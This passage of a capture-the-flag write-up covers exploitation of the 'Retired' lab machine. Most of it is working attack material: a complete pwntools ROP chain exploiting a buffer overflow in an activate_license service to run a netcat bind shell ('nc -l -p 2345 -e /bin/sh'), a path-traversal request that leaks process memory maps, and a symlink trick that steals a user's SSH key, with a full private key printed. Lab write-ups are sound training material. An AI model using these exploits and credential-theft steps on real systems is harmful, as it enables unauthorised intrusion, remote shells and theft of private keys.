$ gdb -q -p 7818 pwndbg> disass systemDump of assembler code for function __libc_system: 0x00007ffff7cc0860 <+0>: test rdi,rdi 0x00007ffff7cc0863 <+3>: je 0x7ffff7cc0870 <__libc_system+16> 0x00007ffff7cc0865 <+5>: jmp 0x7ffff7cc02c0 <do_system> 0x00007ffff7cc086a <+10>: nop WORD PTR [rax+rax*1+0x0] 0x00007ffff7cc0870 <+16>: sub rsp,0x8 0x00007ffff7cc0874 <+20>: lea rdi,[rip+0x14f00f] # 0x7ffff7e0f88a 0x00007ffff7cc087b <+27>: call 0x7ffff7cc02c0 <do_system> 0x00007ffff7cc0880 <+32>: test eax,eax 0x00007ffff7cc0882 <+34>: sete al 0x00007ffff7cc0885 <+37>: add rsp,0x8 0x00007ffff7cc0889 <+41>: movzx eax,al 0x00007ffff7cc088c <+44>: ret
- Alright the start of system is address 0x00007ffff7cc0860. Lets appened it to our evil file
$ echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x60\x08\xcc\xf7\xff\x7f" > evil_file.txt
- Lets see what happens once we go back over to our activate_license binary running on port 1337
[+] accepted client connection from 127.0.0.1:17589[+] reading 526 bytes[+] activated license: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB���sh: 1: p����: not found
- It worked! But since we did not pass it a command to run the process just terminated. All we need to do now is control the RDI register and write our evil string to memory.
- Lets use ROPGadget to find our RDI take over.
$ ROPgadget --binary ./activate_license | grep rdi ......0x000000000000181b : pop rdi ; ret......
- Let's find our write gadget now for this we are going to attach pwndbg to the active_license PID and use its rop funtion to find what we need with the proper addresses.
- First lets make it easy for the pop rdi we just found also
pwndbg> rop --grep "pop rdi"warning: target file /proc/7818/cmdline contained unexpected null charactersSaved corefile /tmp/tmpccoesy930x000055555555581b : pop rdi ; ret
- Now let's get our write gadget
pwndbg> rop --grep "mov dword"0x00007ffff7fca966 : mov dword ptr [rdi], eax ; retpwndbg> rop --grep "mov qword"0x00007ffff7fca965 : mov qword ptr [rdi], rax ; retpwndbg> rop --grep "pop"0x00005555555552ef : pop rbp ; ret0x000055555555581a : pop r15 ; ret0x00007ffff7fcaa2a : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret0x0000555555555814 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x0000555555555819 : pop rsi ; pop r15 ; ret0x00007ffff7fca847 : pop rbx ; pop r12 ; pop rbp ; retpwndbg> rop --grep "mov rax"0x00007ffff7fca716 : mov rax, rdx ; add rax, rsi ; retpwndbg> rop --grep "rsi"0x0000555555555819 : pop rsi ; pop r15 ; retpwndbg> rop --grep "pop rbx"0x00007ffff7fca847 : pop rbx ; pop r12 ; pop rbp ; retpwndbg> rop --grep "mov"0x00007ffff7fca6dc : mov rax, -1 ; retpwndbg> rop --grep "rax"0x00007ffff7fca6ca : shl rdx, 0x20 ; or rax, rdx ; ret0x00007ffff7fca966 : mov dword ptr [rdi], eax ; ret **0x00007ffff7fca6cf : or eax, edx ; ret
- Okay this is a pretty standard ROPChain we have everything we need now. Let's take a look what our manifiactured stack frame will look like for the write gadget.
1. 0x000055555555581b : pop rdi ; ret - Pop the write address into the rdi regester 2a. 0x00007ffff7fca6dc : mov rax, -1 ; ret - RAX now == 0xFFFFFFFFFFFFFFFF2b. 0x0000555555555819 : pop rsi ; pop r15 ; ret - Pop the value we need in RSI to add with RAX to eaual the string we need - Pop 0xdeadbeefdeadbeef into r152c. 0x00007ffff7fca719 : add rax, rsi ; ret3. 0x00007ffff7fca965 : mov qword ptr [rdi], rax ; ret - Write to the address rdi is pointing to
- Okay so we have to do a little to get what we want but its not to bad. Let's take a look at the evil string we want to write to memory again
$ python3 -c "print(len('nc -l -p 2345 -e /bin/sh'))"24
- We need to write 24 bytes to memory so we need to call our write gadget 3 times.
- Lets take our string now and split it up into three parts to see what each value is for the string
1.'nc -l -p' 6e 63 20 2d 6c 20 2d 702.' 2345 -e' 20 32 33 34 35 20 2d 653.' /bin/sh' 20 2f 62 69 6e 2f 73 68
- What does this mean? How can we go from negitive one inside rax to the three needed string values? Well its quite simple we just put the value inside RSI that well equal the below three values:
0xFFFFFFFFFFFFFFFF = -10xFFFFFFFFFFFFFFFF + y = 0x6e63202d6c202d700xFFFFFFFFFFFFFFFF + y = 0x2032333435202d650xFFFFFFFFFFFFFFFF + y = 0x202f62696e2f7368
- Now all we have are 3 elementary algrabra problems.
- The needed values are below:
1. 0x6e63202d6c202d712. 0x2032333435202d663. 0x202f62696e2f7369
- Lets write a C program to confrim we done everything correctly
#include <stdio.h>int main(){ long signed neededOne = 0x6e63202d6c202d70; long signed neededTwo = 0x2032333435202d65; long signed neededThree = 0x202f62696e2f7368; long signed strOne = -1 + 0x6e63202d6c202d71; long signed strTwo = -1 + 0x2032333435202d66; long signed strThree = -1 + 0x202f62696e2f7369; printf("1st - Needed: %#lx Calculated: %#lx\n\n", neededOne, strOne); printf("2nd - Needed: %#lx Calculated: %#lx\n\n", neededTwo, strTwo); printf("3rd - Needed: %#lx Calculated: %#lx\n\n", neededThree, strThree); return 0;}OUTPUT: 1st - Needed: 0x6e63202d6c202d70 Calculated: 0x6e63202d6c202d702nd - Needed: 0x2032333435202d65 Calculated: 0x2032333435202d653rd - Needed: 0x202f62696e2f7368 Calculated: 0x202f62696e2f7368
- Awsome now we can devlope our ROPChain further:
First Write:1. 0x000055555555581b : pop rdi ; ret - Pop the write address into the rdi regester 2a. 0x00007ffff7fca6dc : mov rax, -1 ; ret - RAX now == 0xFFFFFFFFFFFFFFFF2b. 0x0000555555555819 : pop rsi ; pop r15 ; ret - Pop 0x6e63202d6c202d71 into rsi - Pop 0xdeadbeefdeadbeef into r15 2c. 0x00007ffff7fca719 : add rax, rsi ; ret - RAX == 0x6e63202d6c202d703. 0x00007ffff7fca965 : mov qword ptr [rdi], rax ; ret - Write to the address rdi is pointing to Second Write:1. 0x000055555555581b : pop rdi ; ret - Pop the write address into the rdi regester 2a. 0x00007ffff7fca6dc : mov rax, -1 ; ret - RAX now == 0xFFFFFFFFFFFFFFFF2b. 0x0000555555555819 : pop rsi ; pop r15 ; ret - Pop 0x2032333435202d66 into rsi - Pop 0xdeadbeefdeadbeef into r15 2c. 0x00007ffff7fca719 : add rax, rsi ; ret - RAX == 0x2032333435202d653. 0x00007ffff7fca965 : mov qword ptr [rdi], rax ; ret - Write to the address rdi is pointing to Third Write: 1. 0x000055555555581b : pop rdi ; ret - Pop the write address into the rdi regester 2a. 0x00007ffff7fca6dc : mov rax, -1 ; ret - RAX now == 0xFFFFFFFFFFFFFFFF2b. 0x0000555555555819 : pop rsi ; pop r15 ; ret - Pop 0x202f62696e2f7369 into rsi - Pop 0xdeadbeefdeadbeef into r15 2c. 0x00007ffff7fca719 : add rax, rsi ; ret - RAX == 0x202f62696e2f73683. 0x00007ffff7fca965 : mov qword ptr [rdi], rax ; ret - Write to the address rdi is pointing to
- Now all we need is a place in memory to write our evil string to.
$ objdump -M intel -d -j .data ./activate_license ./activate_license: file format elf64-x86-64Disassembly of section .data:0000000000004000 <__data_start>: ...
- Okay we have an offset of 0x004000 for the start of our data section. Let's take a look again with gdb
pwndbg> info proc mapprocess 7818Mapped address spaces: Start Addr End Addr Size Offset objfile 0x555555554000 0x555555555000 0x1000 0x0 /ctfs/htb/retired/binex/activate_license
- 0x555555554000 + 004000 = 0x555555558000
- Let's take a look at this address now
pwndbg> x/32x 0x555555558000 0x555555558000: 0x00000000 0x00000000 0x55558008 0x000055550x555555558010 <completed.0>: 0x00000000 0x00000000 0x00000000 0x000000000x555555558020: 0x00000000 0x00000000 0x00000000 0x000000000x555555558030: 0x00000000 0x00000000 0x00000000 0x000000000x555555558040: 0x00000000 0x00000000 0x00000000 0x000000000x555555558050: 0x00000000 0x00000000 0x00000000 0x000000000x555555558060: 0x00000000 0x00000000 0x00000000 0x000000000x555555558070: 0x00000000 0x00000000 0x00000000 0x00000000
- Alright we can not starting writing at address 0x555555558000 since we would overwirte a value thats predefined. No worries we can start writting our evil string right after at address 0x555555558010
- So now we have everything to write our ROPChain!
from pwn import *writeAddressOne = p64(0x555555558010)writeAddressTwo = p64(0x555555558010 + 8)writeAddressThree = p64(0x555555558010 + 16)firstRsiVal = p64(0x6f63202d6c202d70, endian='big')secondRsiVal = p64(0x2132333435202d65, endian='big')thirdRsiVal = p64(0x212f62696e2f7368, endian='big')systemAddress = p64(0x00007ffff7cc0860)deadbeef = p64(0xdeadbeefdeadbeef)popRdi = p64(0x000055555555581b) # pop rdi ; ret raxMinusOne = p64(0x00007ffff7fca6dc) # mov rax, -1 ; retpopRsiR15 = p64(0x0000555555555819) # pop rsi ; pop r15 ; retaddRaxRsi = p64(0x00007ffff7fca719) # add rax, rsi ; retwriteGadget = p64(0x00007ffff7fca965) # mov qword ptr [rdi], rax ; retpadding = 520p = 'A' * paddingp += popRdi # 0x000055555555581bp += writeAddressOne # 0x555555558010p += raxMinusOne # 0x00007ffff7fca6dcp += popRsiR15 # 0x0000555555555819p += firstRsiVal # 0x6e63202d6c202d71p += deadbeef # 0xdeadbeefdeadbeefp += addRaxRsi # 0x00007ffff7fca719p += writeGadget # 0x00007ffff7fca965p += popRdi # 0x000055555555581bp += writeAddressTwo # 0x555555558018p += raxMinusOne # 0x00007ffff7fca6dcp += popRsiR15 # 0x0000555555555819p += secondRsiVal # 0x2032333435202d66p += deadbeef # 0xdeadbeefdeadbeefp += addRaxRsi # 0x00007ffff7fca719p += writeGadget # 0x00007ffff7fca965p += popRdi # 0x000055555555581bp += writeAddressThree # 0x555555558020p += raxMinusOne # 0x00007ffff7fca6dcp += popRsiR15 # 0x0000555555555819p += thirdRsiVal # 0x202f62696e2f7369p += deadbeef # 0xdeadbeefdeadbeefp += addRaxRsi # 0x00007ffff7fca719p += writeGadget # 0x00007ffff7fca965p += popRdi # 0x000055555555581bp += writeAddressOne # 0x555555558010p += systemAddress # 0x00007ffff7cc0860print(p)# nc -l -p 2345 -e /bin/sh
- After some trial and error with the values we needed to input into RSI we got our evil string into rdi let's put a break point on system() by attaching gdb to our activate_license process and see if we did everything correctly
$ gdb -q -p 16023pwndbg> b systemBreakpoint 2 at 0x7ffff7cc0860: file ../sysdeps/posix/system.c, line 203.pwndbg> cContinuing.Thread 2.1 "activate_licens" hit Breakpoint 2, __libc_system (line=0x555555558010 <completed> "nc -l -p 2345 -e /bin/sh") at ../sysdeps/posix/system.c:203203 ../sysdeps/posix/system.c: No such file or directory.LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────── RAX 0x68732f6e69622f20 (' /bin/sh') RBX 0x5555555557c0 (__libc_csu_init) ◂— push r15 RCX 0x0 RDX 0x0*RDI 0x555555558010 (completed) ◂— 'nc -l -p 2345 -e /bin/sh' RSI 0x68732f6e69622f21 ('!/bin/sh') R8 0xfffffffffffffff7 R9 0x7ffff7e090c0 (step3a_jumps) ◂— 0x0 R10 0x7ffff7e08fc0 (step3b_jumps) ◂— 0x0 R11 0x246 R12 0x555555555220 (_start) ◂— xor ebp, ebp R13 0x0 R14 0x0 R15 0xdeadbeefdeadbeef RBP 0x4141414141414141 ('AAAAAAAA')*RSP 0x7fffffffe000 ◂— 0xa /* '\n' */*RIP 0x7ffff7cc0860 (system) ◂— test rdi, rdi─────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────── ► 0x7ffff7cc0860 <system> test rdi, rdi 0x7ffff7cc0863 <system+3> je system+16 <system+16> 0x7ffff7cc0865 <system+5> jmp do_system <do_system> ↓ 0x7ffff7cc02c0 <do_system> push r13 0x7ffff7cc02c2 <do_system+2> push r12 0x7ffff7cc02c4 <do_system+4> push rbp 0x7ffff7cc02c5 <do_system+5> push rbx 0x7ffff7cc02c6 <do_system+6> mov rbx, rdi 0x7ffff7cc02c9 <do_system+9> sub rsp, 0x378 0x7ffff7cc02d0 <do_system+16> mov rax, qword ptr fs:[0x28] 0x7ffff7cc02d9 <do_system+25> mov qword ptr [rsp + 0x368], rax──────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────00:0000│ rsp 0x7fffffffe000 ◂— 0xa /* '\n' */01:0008│ 0x7fffffffe008 ◂— 0x002:0010│ 0x7fffffffe010 ◂— 0x003:0018│ 0x7fffffffe018 ◂— 0x204:0020│ 0x7fffffffe020 —▸ 0x7fffffffe088 —▸ 0x7fffffffe3c4 ◂— './activate_license'05:0028│ 0x7fffffffe028 —▸ 0x7fffffffe0a0 —▸ 0x7fffffffe3dc ◂— 'COLORFGBG=15;0'06:0030│ 0x7fffffffe030 —▸ 0x7ffff7ffe220 —▸ 0x555555554000 ◂— 0x10102464c457f07:0038│ 0x7fffffffe038 ◂— 0x0────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────── ► f 0 0x7ffff7cc0860 system f 1 0xa f 2 0x0─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg>
- Awsome everything got set up correctly and we are about to open a port on 2345 with /bin/sh attached to it. Let's run the program outside of gdb and see what our activate_license output looks like.
$ ./activate_license 1337 [+] starting server listening on port 1337[+] listening ...[+] accepted client connection from 127.0.0.1:30858[+] reading 737 bytes[+] activated license: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUUUU$ lsof -i:2345COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAMEnc 17831 fundy 3u IPv4 318350 0t0 TCP *:2345 (LISTEN)$ ps aux | grep /bin/shanon 17831 0.0 0.0 2520 1972 pts/2 S+ 13:54 0:00 nc -l -p 2345 -e /bin/sh$ nc -vk localhost 2345 localhost [127.0.0.1] 2345 (?) openlsactivate_licenseactivate_license.phpevil_file.txtlibc-2.31.solicense.sqlitemainmain.cncpwn_activate_license.pywhoamianon
- Great we have succesfully exploited the binary on our local host now all we have to do is get the proper addresses to our gadgets without the help of gdb!
from pwn import *# Stays the same as the local exploitfirstRsiVal = p64(0x6f63202d6c202d70, endian='big')secondRsiVal = p64(0x2132333435202d65, endian='big')thirdRsiVal = p64(0x212f62696e2f7368, endian='big')deadbeef = p64(0xdeadbeefdeadbeef)#Change for remote exploitwriteAddressOne = p64() writeAddressTwo = p64()writeAddressThree = p64()systemAddress = p64()popRdi = p64() # pop rdi ; ret raxMinusOne = p64() # mov rax, -1 ; retpopRsiR15 = p64() # pop rsi ; pop r15 ; retaddRaxRsi = p64() # add rax, rsi ; retwriteGadget = p64() # mov qword ptr [rdi], rax ; retpadding = 520p = 'A' * paddingp += popRdi p += writeAddressOne p += raxMinusOne p += popRsiR15 p += firstRsiVal p += deadbeef p += addRaxRsi p += writeGadget p += popRdi p += writeAddressTwo p += raxMinusOne p += popRsiR15 p += secondRsiVal p += deadbeef p += addRaxRsi p += writeGadget p += popRdi p += writeAddressThree p += raxMinusOne p += popRsiR15 p += thirdRsiVal p += deadbeef p += addRaxRsi p += writeGadget p += popRdi p += writeAddressOne p += systemAddress print(p)
- First will change the address where to write data too
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/410/maps --output maps % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 4593 0 4593 0 0 28809 0 --:--:-- --:--:-- --:--:-- 28706$ cat maps 562c10f04000-562c10f05000 r--p 00000000 08:01 2408 /usr/bin/activate_license$ objdump -M intel -d -j .data ./activate_license ./activate_license: file format elf64-x86-64Disassembly of section .data:0000000000004000 <__data_start>:
- Alright active_licencse1337 .data segment starts at 0x562c10f04000 and .data has a 0x004000 ofset and don't for get we must go a little further into .data before we can write by 0x10 so our first remote write address is
# 0x562c10f04000 + 0x004000 + 0x10 = 0x562C10F08010writeAddressOne = p64(0x562C10F08010) writeAddressTwo = p64(0x562C10F08010 + 8)writeAddressThree = p64(0x562C10F08010 + 16)
- Next lets get our remote system() function address
$ objdump -M intel -d ./libc-2.31.so | grep system 0000000000048e50 <__libc_system@@GLIBC_PRIVATE>: 48e53: 74 0b je 48e60 <__libc_system@@GLIBC_PRIVATE+0x10> $ cat maps .........7f668b1bf000-7f668b1e4000 r--p 00000000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so.........
# start of libc in memory = 0x7f668b1bf000# system() offset = 0x0048e50# 0x7f668b1bf000 + 0x0048e50 = 0x7F668B207E50systemAddress = p64(0x7F668B207E50)
- Now lastly all our write gadget chain gadgets
$ ROPgadget --binary activate_license | grep "pop rdi"0x000000000000181b : pop rdi ; ret$ ROPgadget --binary libc-2.31.so | grep "mov rax, -1 ; ret" 0x000000000003bb8e : mov rax, -1 ; ret$ ROPgadget --binary activate_license | grep "pop rsi ; pop r15 ; ret"0x0000000000001819 : pop rsi ; pop r15 ; ret$ ROPgadget --binary libc-2.31.so | grep "add rax, rsi ; ret" 0x000000000009841c : add rax, rsi ; ret$ ROPgadget --binary libc-2.31.so | grep "mov qword ptr \[rdi\], rax" | grep ret0x0000000000050d7a : mov qword ptr [rdi], rax ; mov rax, rdi ; ret
# start of libc in memory = 0x7f668b1bf000 # start of activate_license = 0x562c10f04000# local = 0x00007ffff7cc0860# remote = 0x7f668b1bf000 + 0xsystemAddress = p64()# local = 0x000055555555581b# remote = 0x00181b + 0x562c10f04000popRdi = p64(0x00181b + 0x562c10f04000) # pop rdi ; ret # local = 0x00007ffff7fca6dc# remote = 0x7f668b1bf000 + 0x003bb8eraxMinusOne = p64(0x7f668b1bf000 + 0x003bb8e) # mov rax, -1 ; ret# local = 0x0000555555555819# remote = 0x000055555555581b + 0x001819popRsiR15 = p64(0x000055555555581b + 0x001819) # pop rsi ; pop r15 ; ret# local = 0x00007ffff7fca719# remote = 0x7f668b1bf000 + 0x009841caddRaxRsi = p64(0x7f668b1bf000 + 0x009841c) # add rax, rsi ; ret# local = 0x00007ffff7fca965# remote = 0x7f668b1bf000 + 0x00050d7awriteGadget = p64(0x7f668b1bf000 + 0x00050d7a) # mov qword ptr [rdi], rax ; mov rax, rdi ; ret
- Okay so eveything matches up with remote and local besides the write gadget thats okay though since we are over writing RAX with -1 anyways to the new ' mov rax, rdi' wont effect our outcome. Below is our new pwn tool script
from pwn import *# Stays the same as the local exploitfirstRsiVal = p64(0x6f63202d6c202d70, endian='big')secondRsiVal = p64(0x2132333435202d65, endian='big')thirdRsiVal = p64(0x212f62696e2f7368, endian='big')deadbeef = p64(0xdeadbeefdeadbeef)#Change for remote exploit# 0x7f668b1bf000 + 0x0048e50 = 0x7F668B207E50systemAddress = p64(0x7f668b1bf000 + 0x0048e50)writeAddressOne = p64(0x562C10F08010) writeAddressTwo = p64(0x562C10F08010 + 8)writeAddressThree = p64(0x562C10F08010 + 16)# start of libc in memory = 0x7f668b1bf000 # start of activate_license = 0x562c10f04000# local = 0x000055555555581b# remote = 0x00181b + 0x562c10f04000popRdi = p64(0x00181b + 0x562c10f04000) # pop rdi ; ret # local = 0x00007ffff7fca6dc# remote = 0x7f668b1bf000 + 0x003bb8eraxMinusOne = p64(0x7f668b1bf000 + 0x003bb8e) # mov rax, -1 ; ret# local = 0x0000555555555819# remote = 0x562c10f04000 + 0x001819popRsiR15 = p64(0x0000562c10f04000 + 0x001819) # pop rsi ; pop r15 ; ret# local = 0x00007ffff7fca719# remote = 0x7f668b1bf000 + 0x009841caddRaxRsi = p64(0x7f668b1bf000 + 0x009841c) # add rax, rsi ; ret# local = 0x00007ffff7fca965# remote = 0x7f668b1bf000 + 0x00050d7awriteGadget = p64(0x7f668b1bf000 + 0x00050d7a) # mov qword ptr [rdi], rax ; mov rax, rdi ; retpadding = 520p = 'A' * paddingp += popRdi p += writeAddressOne p += raxMinusOne p += popRsiR15 p += firstRsiVal p += deadbeef p += addRaxRsi p += writeGadget p += popRdi p += writeAddressTwo p += raxMinusOne p += popRsiR15 p += secondRsiVal p += deadbeef p += addRaxRsi p += writeGadget p += popRdi p += writeAddressThree p += raxMinusOne p += popRsiR15 p += thirdRsiVal p += deadbeef p += addRaxRsi p += writeGadget p += popRdi p += writeAddressOne p += systemAddress print(p)
- Let's create our new evil file and upload it to the remote host and see if we did everything correctly
$ python2.7 pwn_activate_license_remote.py > evil_file.txt
- Let's checkout netcat now to see if our hard work paid off!
$ nc -vv 10.129.227.96 234510.129.227.96: inverse host lookup failed: Unknown host(UNKNOWN) [10.129.227.96] 2345 (?) openwhoamiwww-data
- Alright we got a foothold!!!
Privilege Escalation
- First upgrade the shell to bash
export TERM=xtermSHELL=/bin/bash script -q /dev/null
- Then ls in www-data home dir we can see back ups being made by dev
ls -alhtotal 1.5Mdrwxrwsrwx 3 www-data www-data 4.0K Jul 30 22:55 .drwxr-xr-x 12 root root 4.0K Mar 11 14:36 ..-rw-r--r-- 1 dev www-data 494K Jul 30 22:53 2022-07-30_22-53-00-html.zip-rw-r--r-- 1 dev www-data 494K Jul 30 22:54 2022-07-30_22-54-00-html.zip-rw-r--r-- 1 dev www-data 494K Jul 30 22:55 2022-07-30_22-55-00-html.zipdrwxrwsrwx 5 www-data www-data 4.0K Mar 11 14:36 html-rw-r--r-- 1 www-data www-data 12K Mar 9 00:57 license.sqlite
- Since we can see dev is in the www-data group when they run the back-up command lets try to link dev's SSH key inside the /var/www/html folder
ln -s /home/dev/.ssh/id_rsa /var/www/html/id_rsa
- Okay lets wait a couple of mins and unzip the newest backup. Awsome we got the devs private ssh key!
-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----
- Lets ssh in and get the user flag
$ ssh -i id_rsa_dev dev@10.129.227.96Linux retired 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Sat Jul 30 22:52:17 2022 from 10.10.14.76dev@retired:~$
- After a lenpeas.sh we see dev as group permissions on a file root owns
-rwxr--x-- 1 root dev /usr/lib/emuemu/reg_helper cap_dac_override=ep
- Inside the /home/dev/emuemu we can see the source code
